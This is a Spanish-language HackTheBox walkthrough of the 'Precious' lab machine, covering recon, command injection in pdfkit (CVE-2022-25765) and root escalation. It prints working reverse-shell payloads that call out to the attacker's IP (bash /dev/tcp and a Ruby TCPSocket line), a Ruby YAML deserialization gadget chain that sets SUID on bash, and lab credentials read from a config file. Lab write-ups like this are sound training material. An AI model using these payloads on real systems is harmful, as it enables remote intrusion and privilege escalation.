Saltar a contenido

Maquina Precious

  • OS: Linux
  • Plataforma: HackTheBox
  • Nivel: Easy
  • Tags: #metadatos #exiftool #ruby-deserialization #pdfkit #CVE-2022-25765

Reconocimiento

Comenzamos tirando un ping para comprobar conectividad.

> ping -c 1 10.129.228.98
PING 10.129.228.98 (10.129.228.98) 56(84) bytes of data.
64 bytes from 10.129.228.98: icmp_seq=1 ttl=63 time=110 ms

--- 10.129.228.98 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 110.232/110.232/110.232/0.000 ms

Realizamos un escaneo con nmap para ver que puertos tenemos abiertos.

> sudo nmap -p- -n -vvv --min-rate 5000 -sS 10.129.228.98
Scanned at 2025-12-14 22:36:10 CST for 14s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
  • Puertos 80 y 22 abiertos

Sobre los puertos abiertos realizo un segundo escaneo para detectar servicios, versiones y correr un conjunto de scripts de reconocimiento.

> sudo nmap -p 22,80 -sV -sC -n -vvv --min-rate 5000 -sS 10.129.228.98 -oN target
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 84:5e:13:a8:e3:1e:20:66:1d:23:55:50:f6:30:47:d2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEAPxqUubE88njHItE+mjeWJXOLu5reIBmQHCYh2ETYO5zatgel+LjcYdgaa4KLFyw8CfDbRL9swlmGTaf4iUbao4jD73HV9/Vrnby7zP04OH3U/wVbAKbPJrjnva/czuuV6uNz4SVA3qk0bp6wOrxQFzCn5OvY3FTcceH1jrjrJmUKpGZJBZZO6cp0HkZWs/eQi8F7anVoMDKiiuP0VX28q/yR1AFB4vR5ej8iV/X73z3GOs3ZckQMhOiBmu1FF77c7VW1zqln480/AbvHJDULtRdZ5xrYH1nFynnPi6+VU/PIfVMpHbYu7t0mEFeI5HxMPNUvtYRRDC14jEtH6RpZxd7PhwYiBctiybZbonM5UP0lP85OuMMPcSMll65+8hzMMY2aejjHTYqgzd7M6HxcEMrJW7n7s5eCJqMoUXkL8RSBEQSmMUV8iWzHW0XkVUfYT5Ko6Xsnb+DiiLvFNUlFwO6hWz2WG8rlZ3voQ/gv8BLVCU1ziaVGerd61PODck=
|   256 a2:ef:7b:96:65:ce:41:61:c4:67:ee:4e:96:c7:c8:92 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFScv6lLa14Uczimjt1W7qyH6OvXIyJGrznL1JXzgVFdABwi/oWWxUzEvwP5OMki1SW9QKX7kKVznWgFNOp815Y=
|   256 33:05:3d:cd:7a:b7:98:45:82:39:e7:ae:3c:91:a6:58 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIH+JGiTFGOgn/iJUoLhZeybUvKeADIlm0fHnP/oZ66Qb
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Puerto 22 SSH: OpenSSH 8.4p1 Debian 5+deb11u1
  • Puerto 80 HTTP: nginx/1.18.0

Enumeración

Puerto 80 HTTP

  • La pagina convierte paginas web en pdfs.

Para probar la pagina me cree un archivo html en mi maquina.

> cat index.html
<h1>Hola</h1>

Y levante un servidor en python

> sudo python3 -m http.server 80

Coloque la url de mi servidor en la pagina.

Y automáticamente me descargo un pdf con un nombre largo

  • Al pdf le extraje los metadatos y descubrí la version pdfkit v0.8.6
> exiftool vr09mgiqs6nownp3qmudyklplaygpoip.pdf
ExifTool Version Number         : 12.57
File Name                       : vr09mgiqs6nownp3qmudyklplaygpoip.pdf
Directory                       : .
File Size                       : 9.9 kB
File Modification Date/Time     : 2025:12:14 22:46:16-06:00
File Access Date/Time           : 2025:12:14 22:46:16-06:00
File Inode Change Date/Time     : 2025:12:14 22:46:16-06:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

Explotación Manual

pdf-kit v0.8.6 es vulnerable a un RCE mas en concreto CVE-2022-25765.

Al parecer si en el parametro colocamos algun carácter URL Encodeado en este caso fue espacio(%20) y una sustitución de comandos con los backticks, este comando va a ser incluido en el ejecución de PDFKit, por lo cual podremos ver el output del comando.

  • Command Injection Documentation
  • Con nuestro servidor de python corriendo podemos colocar nuestra url con algun parametro y el comando id para ver si nos lo interpreta.

Podemos ver que el comando si se ejecuto:

También podemos ver el output en los logs de nuestro servidor python

> sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.228.98 - - [15/Dec/2025 01:02:39] "GET /?lol=%20uid=1001(ruby)%20gid=1001(ruby)%20groups=1001(ruby) HTTP/1.1" 200 -

Por lo cual ahora podemos tratar de entablarnos una reverse-shell.

  • Nos ponemos en escucha
> sudo nc -nlvp 443
  • Colocamos el siguiente payload
http://<TUIP>/?lol=%20`bash -c "bash -i >& /dev/tcp/10.10.15.110/443 0>&1"`

Y recibimos la conexion.

Connection received on 10.129.228.98 34986
bash: cannot set terminal process group (677): Inappropriate ioctl for device
bash: no job control in this shell
ruby@precious:/var/www/pdfapp$ id
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
ruby@precious:/var/www/pdfapp$ 

Explotación Automatizada

Alternativamente a la explotación manual, ya existe un exploit que automatiza esto por nosotros

La vulnerabilidad consiste en un RCE en un parametro que no este sanitizado. Al buscar posibles exploits nos encontramos con el siguiente.

> searchsploit pdfkit
--------------------------------------------------- ---------------------------------
 Exploit Title                                     |  Path
--------------------------------------------------- ---------------------------------
pdfkit v0.8.7.2 - Command Injection                | ruby/local/51293.py
--------------------------------------------------- ---------------------------------

Lo bajamos

> searchsploit -m ruby/local/51293.py

Nos colocamos en escucha:

> sudo nc -nlvp 443

Y seteamos los parámetros del exploit:

> python3 exploit.py -s <TUIP> <TUPUERTO> -w http://precious.htb/ -p url

        _ __,~~~/_        __  ___  _______________  ___  ___
    ,~~`( )_( )-\|       / / / / |/ /  _/ ___/ __ \/ _ \/ _ \
        |/|  `--.       / /_/ /    // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....

UNICORD: Exploit for CVE-2022–25765 (pdfkit) - Command Injection
OPTIONS: Reverse Shell Sent to Target Website Mode
PAYLOAD: http://%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.15.110","443"))'`
LOCALIP: 10.10.15.110:443
WARNING: Be sure to start a local listener on the above IP and port. "nc -lnvp 443".
WEBSITE: http://precious.htb/
POSTARG: url
EXPLOIT: Payload sent to website!
SUCCESS: Exploit performed action.

Recibimos la conexión:

Listening on 0.0.0.0 443
Connection received on 10.129.228.98 32998
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)

Escalada a usuario Henry

Enumeramos los usuarios y nos damos cuenta de que existe un usuario llamado henry.

ruby@precious:/var/www/pdfapp$ cat /etc/passwd | grep sh
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
ruby:x:1001:1001::/home/ruby:/bin/ba

Dentro del sistema nos encontramos con el directorio .bundle y su archivo config en nuestro directorio home.

ruby@precious:~$ pwd
pwd
/home/ruby

Podemos ver que el archivo config contiene credenciales para el usuario henry:Q3c1AqGHtoI0aXAYFH

ruby@precious:~/.bundle$ cat config
-------------------------------------------------------------
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

Migramos al usuario henry

> su henry

Y encontramos la primera flag en su directorio home

henry@precious:~$ cat user.txt
cat user.txt
87a7e******

Escalada a Root

Con el usuario henry enumere binarios con privilegios de SUDO y me encuentro con el archivo update_dependencies.rb

henry@precious:/tmp$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

Decido inspeccionar dicho archivo para ver que hace.

  • Y aquí me doy cuenta que se esta utilizando la librería YAML y se esta cargando un archivo dependencies.yml sin ruta absoulta, es decir que nosotros vamos a poder controlar este archivo para colocar nuestro payload.
> cat /opt/update_dependencies.rb
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

Ruby Deserialization.

Recurso

Nosotros vamos a poder crear un archivo dependencies.yml en el directorio tmp para que cuando la librería lo trate de deserializar ejecute lo que nosotros querramos.

  • El comando que se va a ejecutar es git_set: chmod +s /bin/bash para colocarle el bit SUID a la bash
  • Por que el payload funciona?

    YAML.load no solo lee datos si no que reconstruye objetos ruby completos y durante la reconstrucción se pueden ejecutar gadgets y se pueden llamar a métodos internos.

    Ruby crea una instancia real de !ruby/object:Net::WriteAdapter la cual llama a un metodo sobre un objeto, en este caso el objeto es Kernel y el metodo es system y el resultado es Kernel.system("chmod +s /bin/bash") lo que nos permite colocarle el bit suid de quien ejecute el binario.

henry@precious:/tmp$ cat dependencies.yml 
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

Corremos el script como sudo en el directorio /tmp o donde hayamos creado el dependencies.yml

henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found

Y sacamos la bash en modo privilegiado con -p

henry@precious:/tmp$ bash -p
bash-5.1# id
id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
bash-5.1# cat root.txt
cat root.txt
25e657*****

PWNED